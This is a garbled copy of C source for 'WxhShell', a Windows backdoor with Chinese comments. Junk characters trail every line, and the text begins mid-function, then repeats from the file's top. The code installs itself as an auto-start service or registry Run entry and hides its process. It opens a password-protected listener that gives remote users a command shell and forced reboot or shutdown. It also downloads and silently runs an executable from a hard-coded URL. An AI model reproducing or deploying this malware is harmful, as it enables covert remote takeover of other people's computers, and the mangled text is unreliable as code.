    break; \p&~ ,%  
    } zR6siAV9  
  // 关机 qZk'tRv  
  case 'd': { hi2sec|;<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); klOp ^w  
    if(Boot(SHUTDOWN)) @~ Dh'w2q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c~,23wP1  
    else { U'( sn  
    closesocket(wsh); }ucIH@U{  
    ExitThread(0); 9-1#( Y6S  
    } VaZn{z  
    break; *O$CaAr\s  
    } f|EUqu%E  
  // 获取shell 7v}x?I  
  case 's': { 2RtHg_d_l  
    CmdShell(wsh); q z&+=d@  
    closesocket(wsh); u+9<&)X0  
    ExitThread(0); bUy,5gk-  
    break; K/_9f'^  
  } v5ur&egVs  
  // 退出 [] W;t\h  
  case 'x': { * A|-KKo\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W`rNBfG>  
    CloseIt(wsh); #G]!%  
    break; FyL_xu\e  
    } yoe}$f4  
  // 离开 imL_lw^?  
  case 'q': { b;mSQ4+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); mg:!4O$K  
    closesocket(wsh); iTo k[uJ}  
    WSACleanup(); `s#Hq\C  
    exit(1); m`? MV\^  
    break; A~ (l{g  
        } 2(!fg4#+  
  } KU9Z"9#  
  } Rf %HIAVE  
SjEAuRDvUz  
  // 提示信息 |+IZS/W"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,1{Ep`  
} hqSJ(gs{  
  } !/{+WHxIr|  
Oc?+M 5  
  return; >-< 8N-@"n  
} R>@uY( >dJ  
Vn=qV3OE]  
// shell模块句柄 KLQTKMNv  
int CmdShell(SOCKET sock) 2GmpCy`L"  
{ mY!iu(R1  
STARTUPINFO si; ?dZt[vAMn  
ZeroMemory(&si,sizeof(si)); 9 t n!t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N[|Nxm0z/C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X~.f7Ao[  
PROCESS_INFORMATION ProcessInfo; &xZyM@  
char cmdline[]="cmd"; AN:@fZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OK|qv[  
  return 0; " K*  
} ?/*~;fM  
JOn yrks  
// 自身启动模式 4JIYbb-a'  
int StartFromService(void) lG<hlYckv  
{ I,6/21kO  
typedef struct AF,BwLN  
{ HG >j5  
  DWORD ExitStatus; wmr-}Y!9u%  
  DWORD PebBaseAddress; 4b]a&_-}  
  DWORD AffinityMask; lb' Cl3H  
  DWORD BasePriority; `'_m\uo  
  ULONG UniqueProcessId; SU_SU".  
  ULONG InheritedFromUniqueProcessId; ~q0*"\Ff  
}   PROCESS_BASIC_INFORMATION; `Kl`VP=c  
}A$WO {2  
PROCNTQSIP NtQueryInformationProcess; s Wjy6;  
({}(qm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ewsKH\#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @MR?6n*k  
!hxIlVd{  
  HANDLE             hProcess; X*oMFQgP  
  PROCESS_BASIC_INFORMATION pbi; *DI)?  
(LAXM x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2i#Sn'1  
  if(NULL == hInst ) return 0; (kBP(2V  
?|;yVew  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0Sl]!PZR1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 72 TI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3+7^uR$/I4  
w]j+9-._  
  if (!NtQueryInformationProcess) return 0; H%f:K2  
?z-}>$I;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^>4o$}  
  if(!hProcess) return 0; OvL\u{(<F  
%rKK[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ']6VB,c`  
JHn*->m  
  CloseHandle(hProcess); }]P4-KqI  
q!'rz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z@D*1\TG=  
if(hProcess==NULL) return 0; bJr[I  
ug 7o>PX  
HMODULE hMod; XdEPbD-  
char procName[255]; 3*_fzP<R  
unsigned long cbNeeded; A^fjfa);V  
=V+I=rqo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <g8K})P  
-7>)i  
  CloseHandle(hProcess); ("7M b{  
*mG`_9  
if(strstr(procName,"services")) return 1; // 以服务启动 Z5G!ct:W  
(3vHY`9  
  return 0; // 注册表启动 &7?R+ZGo  
} DsDzkwJE  
z;u> Yz+3  
// 主模块 0CvsvUN@  
int StartWxhshell(LPSTR lpCmdLine) z T%U!jqI  
{ yTM{|D]$(  
  SOCKET wsl; L7Dh(y=;7  
BOOL val=TRUE; ?^Hf Np9  
  int port=0; OIb  
  struct sockaddr_in door; _K2?YY(#>  
"T/>d%O1b  
  if(wscfg.ws_autoins) Install(); lw%?z/HDf  
8am`6;O:!  
port=atoi(lpCmdLine); dm rps+L  
`A%^UCd  
if(port<=0) port=wscfg.ws_port; Z*{] ,  
ye 6H*K  
  WSADATA data; YL^=t^ !4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -!qu"A:  
pz^<\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XP[uF ;w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K5Wg"^AHY/  
  door.sin_family = AF_INET; I lR\  #  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?gGt2O1J  
  door.sin_port = htons(port); ,M !tm7  
<M?:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |Q~cX!;  
closesocket(wsl); 6bc3 37b  
return 1; 1a0kfM$  
} RH0>ZZR  
c2l_$p  
  if(listen(wsl,2) == INVALID_SOCKET) { _hf4A8ak  
closesocket(wsl); Kz8:UG(  
return 1; "kMzmo=Pv5  
} =64r:E  
  Wxhshell(wsl); Eq% @"-m o  
  WSACleanup(); D,l,`jv*  
%9C@ Xl  
return 0; 5vzceQE}  
E&$_`m;  
} v'2[[u{7*  
vZ7gS  
// 以NT服务方式启动 FaTa(3$%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Huw\&E  
{ q=HHNjj8  
DWORD   status = 0; vEM(bT=H  
  DWORD   specificError = 0xfffffff; Zx }&c |Q  
Z]w# vLR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vQVK$n`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $>M<j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f}c\_}(  
  serviceStatus.dwWin32ExitCode     = 0; z"4]5&3A  
  serviceStatus.dwServiceSpecificExitCode = 0; =`n]/L"Q  
  serviceStatus.dwCheckPoint       = 0; mwv(j_  
  serviceStatus.dwWaitHint       = 0; =]R3& ]#n  
0X2@CPIFf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ij5g^{_T;8  
  if (hServiceStatusHandle==0) return; 8$N8}q%  
NMO-u3<6.  
status = GetLastError(); w JwX[\  
  if (status!=NO_ERROR) xZ5M/YSyG  
{ wle@v Cmr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fBtm%f  
    serviceStatus.dwCheckPoint       = 0; 8{U-m0v  
    serviceStatus.dwWaitHint       = 0; ~%u|[$  
    serviceStatus.dwWin32ExitCode     = status; $S*4r&8ZD  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z!xVgM{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |xr%6 [Ff  
    return; $$Vt7"F  
  } _;A $C(  
~Aad9yyi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _STB$cZ  
  serviceStatus.dwCheckPoint       = 0; [ //R~i?  
  serviceStatus.dwWaitHint       = 0; V+-$ jOh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C8N{l:1f]  
} uNbH\qd=  
gQSNU_o Z  
// 处理NT服务事件,比如:启动、停止 v}G]X Z8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z7.|fE)<6  
{ _?7#MWe&  
switch(fdwControl) 38V3o`f  
{ 7DW]JK l  
case SERVICE_CONTROL_STOP: "bg'@:4F  
  serviceStatus.dwWin32ExitCode = 0; ~d{.ng 4K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f"#m=_Xm  
  serviceStatus.dwCheckPoint   = 0; ? ]sM8Bd}  
  serviceStatus.dwWaitHint     = 0; R)?{]]v  
  { HJ?+A-n/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WzW-pV]  
  } D*5hrkV9  
  return; y< R=  
case SERVICE_CONTROL_PAUSE: PeX1wK%f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !2CL1j0(  
  break; YIt9M,5/Q  
case SERVICE_CONTROL_CONTINUE: M x5`yT7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %HQ.|  
  break; FFhtj(hVgc  
case SERVICE_CONTROL_INTERROGATE: 1 "TVRb  
  break; =6FUNvP#8  
}; z><5R|Gf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o{v&.z  
} +1C3`0(  
wyx(FinIH  
// 标准应用程序主函数 "Y`3DxXz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B(k=oXDF  
{ wmNHT _  
Yw3oJf&  
// 获取操作系统版本 |9xI_(+{kP  
OsIsNt=GetOsVer(); z_;3H,z`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "; [ iZ  
mN `YuR~  
  // 从命令行安装 P47V:E%  
  if(strpbrk(lpCmdLine,"iI")) Install(); @ufo$?D  
[@ <sFP;g  
  // 下载执行文件 TjWE_Bq]g  
if(wscfg.ws_downexe) { DVZdClAL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >!e<}84b  
  WinExec(wscfg.ws_filenam,SW_HIDE); c97{Pu  
} uaw~r2  
?[TfpAtQ`  
if(!OsIsNt) { dCYCHHHF  
// 如果时win9x,隐藏进程并且设置为注册表启动 Zt -1h{7  
HideProc(); dBsX*}C  
StartWxhshell(lpCmdLine); h[KvhbD3   
} 7T``-:`[  
else @r(Z%j7  
  if(StartFromService()) oq/G`{`\  
  // 以服务方式启动 gC%G;-gm  
  StartServiceCtrlDispatcher(DispatchTable); Agh`]XQ2  
else sML=5=otx  
  // 普通方式启动 ,ea^,H6  
  StartWxhshell(lpCmdLine); m .IU ;cR  
NE8 jC7  
return 0; [,EpN{l  
} 6\7nc FO3  
gieN9S  
Z0!5d<  
L(S'6z~_9  
=========================================== z2gk[zY&  
|LG4=j.l  
k;PAh>8  
2A`A\19t  
Kr'f-{  
c'6g*%2k  
" 'XQ`g CF=  
in <(g@Zg  
#include <stdio.h> $\o {_?}1  
#include <string.h> DDT_kK;  
#include <windows.h> xp'_%n~K@  
#include <winsock2.h> NvE}eA#  
#include <winsvc.h> UEs7''6RM  
#include <urlmon.h> %t=kdc0=_  
+i ?S  
#pragma comment (lib, "Ws2_32.lib") sKz`aqI  
#pragma comment (lib, "urlmon.lib") >% p{38  
!1T\cS#1%  
#define MAX_USER   100 // 最大客户端连接数 MfO:m[s  
#define BUF_SOCK   200 // sock buffer d4:`@*  
#define KEY_BUFF   255 // 输入 buffer CQ7{1,?2  
G2 ]H6G$M  
#define REBOOT     0   // 重启 !J1rRPV  
#define SHUTDOWN   1   // 关机 _cTh#t ^  
'oNO-)p\#!  
#define DEF_PORT   5000 // 监听端口 DBLk!~IF  
*,C(\!b !?  
#define REG_LEN     16   // 注册表键长度 _$NIp `d  
#define SVC_LEN     80   // NT服务名长度 q>f<u&  
(z7vl~D  
// 从dll定义API rt3qdk5U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); # ?1Sm/5k`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [P zv4+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rD?L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2n><RZ/9  
-50 HB`t  
// wxhshell配置信息 *D4hq=  
struct WSCFG { V6$xcAE"</  
  int ws_port;         // 监听端口 @J{m@ji{  
  char ws_passstr[REG_LEN]; // 口令 AWjJ{#W>9  
  int ws_autoins;       // 安装标记, 1=yes 0=no ' K@|3R  
  char ws_regname[REG_LEN]; // 注册表键名 Vt^3iX{!  
  char ws_svcname[REG_LEN]; // 服务名 2 &/v]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {^CT} \=>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UX-&/eScN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a8u 9aEB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J]W5[)L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <9ig?{'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CO-_ea U(  
GWsE;  
}; rqv))Zo`  
{l_{T4xToB  
// default Wxhshell configuration @uo ~nFj,  
struct WSCFG wscfg={DEF_PORT, Yw5'6NU  
    "xuhuanlingzhe", -yxOBq  
    1, i| \6JpNA:  
    "Wxhshell", o:Qv JcB  
    "Wxhshell", kK 8itO  
            "WxhShell Service", d\e7,"L*Q  
    "Wrsky Windows CmdShell Service", ]&Z))H  
    "Please Input Your Password: ", d@w~[b  
  1, yJuQ8+vgR}  
  "http://www.wrsky.com/wxhshell.exe", z"D.Bm~ ]  
  "Wxhshell.exe" %6 Q4yk  
    }; 3X9b2RY*L/  
b[z]CP  
// 消息定义模块 PFUO8>!pA\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }:: S 0l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MT(o"ltQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5<I   
char *msg_ws_ext="\n\rExit."; f >BWG`  
char *msg_ws_end="\n\rQuit."; F4=}}k U  
char *msg_ws_boot="\n\rReboot..."; |+  N5z  
char *msg_ws_poff="\n\rShutdown..."; )9,  
char *msg_ws_down="\n\rSave to "; ys_`e  
l4T7'U>`  
char *msg_ws_err="\n\rErr!"; FZreP.2)!  
char *msg_ws_ok="\n\rOK!"; vVGDDDz/  
r&-m=Kk$  
char ExeFile[MAX_PATH]; N@B9 @8h  
int nUser = 0; W\1i,ew>  
HANDLE handles[MAX_USER]; yA{W  
int OsIsNt; R+g z<H.Q  
f3`7tA  
SERVICE_STATUS       serviceStatus; P"sA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p=/m  
XdH\OJ  
// 函数声明 Q{e\}wN  
int Install(void); UR:aD_h  
int Uninstall(void); m*e{\)rd#  
int DownloadFile(char *sURL, SOCKET wsh); zy*/T>{#  
int Boot(int flag); 0$r^C6}f  
void HideProc(void); FP[!BUOf"  
int GetOsVer(void); k X {0y  
int Wxhshell(SOCKET wsl); \OlmF<~  
void TalkWithClient(void *cs); ?UM*Xah  
int CmdShell(SOCKET sock); 5s(1[(  
int StartFromService(void); 5SCKP<rb  
int StartWxhshell(LPSTR lpCmdLine); 04r$>#E  
L(GjZAP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j*xV!DqC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c8Z wr]DF  
vb9OonE2  
// 数据结构和表定义 E2)h ?cs  
SERVICE_TABLE_ENTRY DispatchTable[] = x8GJY~:SW  
{ fnx-s{c?  
{wscfg.ws_svcname, NTServiceMain}, fdONP>K[E  
{NULL, NULL} Dk48@`l2  
}; (a9d/3M  
\.M*lqI  
// 自我安装 TLehdZ>^  
int Install(void) bLt.O(T}  
{ boG_f@dv(  
  char svExeFile[MAX_PATH]; 1+?N#Fh  
  HKEY key; hY`\&@  
  strcpy(svExeFile,ExeFile); fNGZo  
HR}bbsqxVf  
// 如果是win9x系统,修改注册表设为自启动 pW4 cX  
if(!OsIsNt) { YBh'EL}P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r'gOVi4t1*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8,dBl!G=  
  RegCloseKey(key); O12eH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g+X}c/" .  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k4 F"'N   
  RegCloseKey(key); yA47"R  
  return 0; 2wF8 P)  
    } vv26I  
  } "Ks,kSEzu  
} /dnCwFXf  
else { ON+J>$[[  
jt+iv*2N>  
// 如果是NT以上系统,安装为系统服务 uslQ*7S[^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +}jJ&Z9 )  
if (schSCManager!=0) XrZ*1V  
{ V)}rEX   
  SC_HANDLE schService = CreateService ;;&}5jcV  
  ( -W>'^1cR  
  schSCManager, F-6c_!  
  wscfg.ws_svcname, \TU3rk&X  
  wscfg.ws_svcdisp, Uix6GT;  
  SERVICE_ALL_ACCESS, Z0l+1iMx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K _&4D'  
  SERVICE_AUTO_START, QY== GfHt  
  SERVICE_ERROR_NORMAL, V')0 Mr  
  svExeFile, $ImrOf^qt  
  NULL, Y`?-VaY  
  NULL, Dc)dE2  
  NULL, s.8{5jVG  
  NULL, :6%Z]tt  
  NULL X.:]=,aGW  
  ); $MJm*6h  
  if (schService!=0) X1~1&:V,<  
  { DK}"b}Fvq  
  CloseServiceHandle(schService); k1Q ?'<`  
  CloseServiceHandle(schSCManager); j&k6O1_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0Fu~%~#E$  
  strcat(svExeFile,wscfg.ws_svcname); 4>J   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y+7PwBo%e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oY, %Iq  
  RegCloseKey(key); Nz)l<S9>  
  return 0; u{L!n$D7  
    } <_Q1k>  
  } kBN+4Dr/$  
  CloseServiceHandle(schSCManager); }V\N16f  
} m^qBx A  
} K #.  
zP<pEI  
return 1; <I;2{*QI2  
} c*~]zR>s!  
13Lr }M&  
// 自我卸载 vx4+QQY P  
int Uninstall(void) mkR2i>  
{ f7}*X|_Y  
  HKEY key; Dl}$pN  
O+ICol  
if(!OsIsNt) { t%8d-+$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j1(D]Z=\  
  RegDeleteValue(key,wscfg.ws_regname); o6p98Dpg   
  RegCloseKey(key); ?Q&yEGm(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Zr.ba  
  RegDeleteValue(key,wscfg.ws_regname); b".L_Ma1*  
  RegCloseKey(key); YID4w7|  
  return 0; yDGVrc'  
  } GAAm0;  
} {^N[("`  
} P67o{EdK  
else { IY*EA4>  
B-r0"MX&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M>/Zbnq  
if (schSCManager!=0) aCL!]4K84$  
{ >]c*'~G&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SCTA=l.  
  if (schService!=0) K^R,Iu/M  
  { @$z<i `4  
  if(DeleteService(schService)!=0) { 'PP#^aI,  
  CloseServiceHandle(schService); ^4o;$u4R  
  CloseServiceHandle(schSCManager); R=KQ  
  return 0; vI@%Fg+D  
  } |n] d34E  
  CloseServiceHandle(schService); FJd]D[h  
  } qcT'nZ:  
  CloseServiceHandle(schSCManager); ,#8e_3Z$  
} 3*@5S]]  
} ^urDoB:  
Q1z;/A$Al  
return 1; C$5[X7'  
} OD_W8!-  
_l1NKk  
// 从指定url下载文件 `ta7Gc/:UY  
int DownloadFile(char *sURL, SOCKET wsh) \W`w` o  
{ fYW6b[lI  
  HRESULT hr; %D[0nt|X  
char seps[]= "/"; 5>TK^1 :  
char *token; l\n@cQR  
char *file; kTvd+TP4  
char myURL[MAX_PATH]; 9 '2_  
char myFILE[MAX_PATH]; t N2Md}@e  
!e?.6% %   
strcpy(myURL,sURL); R,Vd.-5M  
  token=strtok(myURL,seps); c?@T1h4  
  while(token!=NULL) p*P)KP  
  { &/Q0  
    file=token; u#@Q:tnN_  
  token=strtok(NULL,seps); q?ix$nKOv  
  } "V}[':fen  
ny54XjtG,  
GetCurrentDirectory(MAX_PATH,myFILE); Ct%x&m:  
strcat(myFILE, "\\"); G2FXrkU  
strcat(myFILE, file); l(#)WWr+  
  send(wsh,myFILE,strlen(myFILE),0); dYgXtl=#j  
send(wsh,"...",3,0); T|6a("RL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &sd}ulEg`  
  if(hr==S_OK) Tq4-wE+  
return 0; W='> :H  
else U,.![TP  
return 1; n9xAPB }  
tmtT (  
} ::/j$bL  
9U%N@Dq`Z  
// 系统电源模块 0MdDXG-7  
int Boot(int flag) zO MA  
{ /ID?DtJ  
  HANDLE hToken; x>Jr_A(  
  TOKEN_PRIVILEGES tkp; Ho *AAg  
f-7 1~  
  if(OsIsNt) { x UD-iSY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qZA).12qS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9,"L^W8"k  
    tkp.PrivilegeCount = 1; ,11H.E Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *C:|X b<9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +PuPO9jKO@  
if(flag==REBOOT) { #&7}-"Nd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0a"c2J  
  return 0; TG5XSy  
} P->y_4O  
else { ]:~OG@(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J":,Vd!*-  
  return 0; ,kn"> k9  
} =pC3~-;3  
  } HF.^ysI  
  else {  ({=gw9f  
if(flag==REBOOT) { ;/rXQe1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PxS8 n?y  
  return 0; !dC<4qZ\C  
} x3"#POp  
else { }x wu*Zx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B[4KX  
  return 0; >L 0_dvr  
} h^o{@/2  
} <z!CDg4  
[n$BRk|  
return 1; 6 M*O{f  
} hHMN6i  
byfJy^8G  
// win9x进程隐藏模块 ?28N ^  
void HideProc(void) r|qp3x  
{ *^wm1|5  
[YcG(^^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); McQe1  
  if ( hKernel != NULL ) 1cD! :[  
  { u9EgdpD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oczN5YSt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `6xkf&Kt  
    FreeLibrary(hKernel); lh;:M -b9  
  } >M/V oV  
xsMBC  
return; )}?#  
} A?pbWt ~}  
/x1![$oC0  
// 获取操作系统版本 &mtJRfnu  
int GetOsVer(void) HI11Jl}{  
{ =^5Alb a/  
  OSVERSIONINFO winfo; *N<&GH(j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O|M{-)  
  GetVersionEx(&winfo); BjzPz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .ODR]7{  
  return 1; q*7VqB  
  else vsl]92xI  
  return 0; c>)Yt^ q&K  
} d>t<_}  
I]EbodAyZ,  
// 客户端句柄模块 07^iP>?  
int Wxhshell(SOCKET wsl) C .~+*"Vw  
{ ^i} L-QR  
  SOCKET wsh; yLQ*"sw\  
  struct sockaddr_in client; 2P@sn!*{1  
  DWORD myID; uvG]1m#  
dKxyA"@  
  while(nUser<MAX_USER) 1jF`5k  
{ PU1Qsb5  
  int nSize=sizeof(client); trp0 V4b8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [S>2ASj  
  if(wsh==INVALID_SOCKET) return 1; ~"kb7Fxp  
Ot6aRk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pv Gf\pu  
if(handles[nUser]==0) +y3%3EKs1~  
  closesocket(wsh); D5*q7A6  
else LBa[:j2  
  nUser++; 3 C<L  
  } uW} s)j.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !*%WuyCgr4  
ZP\-T*)l$  
  return 0; /VN f{p  
} -K3^BZ HI  
^>hWy D  
// 关闭 socket lUvpszH=  
void CloseIt(SOCKET wsh) zp%Cr.)$  
{ TO?R({yx*  
closesocket(wsh); 7OJ'){R$  
nUser--; n+A?"`6*#  
ExitThread(0); ikv Wh<=>H  
} qtQ6cq Ld  
u*ObwcI/Bn  
// 客户端请求句柄 ''\O v  
void TalkWithClient(void *cs) Dw<bn<e-  
{ SX# e:_  
`u teg=  
  SOCKET wsh=(SOCKET)cs; X6@WwM~qz  
  char pwd[SVC_LEN]; ~3WF,mW  
  char cmd[KEY_BUFF]; OZ~5*v  
char chr[1]; %~E ?Z!_W  
int i,j; UZJCvfi  
Wg<(ms dj  
  while (nUser < MAX_USER) { h_+dT  
s)6U_  
if(wscfg.ws_passstr) { xk5@d6Y{r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HV{wI1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m0;CH/D0  
  //ZeroMemory(pwd,KEY_BUFF); P;ci9vk  
      i=0; uJC~LC N  
  while(i<SVC_LEN) { 2;DuHO1  
A Sk|A!  
  // 设置超时 nwF2aRNV  
  fd_set FdRead; @c;|G$E@3  
  struct timeval TimeOut; J:V6  
  FD_ZERO(&FdRead); {_ i\f ]L  
  FD_SET(wsh,&FdRead); K k-S}.E  
  TimeOut.tv_sec=8; G <i@ 5\#  
  TimeOut.tv_usec=0; iiS-9>]/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]);%wy{Ho  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uP~@U"!  
Vt".%d/`7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +~mA}psr  
  pwd=chr[0]; ~l]ve,W[  
  if(chr[0]==0xd || chr[0]==0xa) { O06"bi5Y  
  pwd=0; , P70J b  
  break; jw^<IMAG\8  
  } hp5|@  
  i++; '+?"iVVo  
    } mUdOX7$c>  
0"\H^  
  // 如果是非法用户,关闭 socket @M_oH:GV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4GY[7^  
} Rld!,t  
y)W@{@{kl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qQ?"@>PALD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -y8`yHb_  
=E.t`x=  
while(1) {  ]%wVHC  
N`L0Vd  
  ZeroMemory(cmd,KEY_BUFF); V9{]OV%  
Z\ja  
      // 自动支持客户端 telnet标准   ebUBrxZX  
  j=0; :7!0OVQla\  
  while(j<KEY_BUFF) { Z7hgA-t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7b;I+q  
  cmd[j]=chr[0]; ,+meT`'vn  
  if(chr[0]==0xa || chr[0]==0xd) { 7Z\--=;|[:  
  cmd[j]=0; --%N8L;e  
  break; kt["m.  
  } jY% na HaI  
  j++; K1\a#w  
    }  @Z\,q's  
][9%Kl*%@p  
  // 下载文件 DRp~jW(\y  
  if(strstr(cmd,"http://")) { 1DE<rKI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2.l Z:VLN  
  if(DownloadFile(cmd,wsh)) ^Eb.:}!D6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O4cr*MCb5  
  else d4>Z8FF|1B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ay5i+)MD  
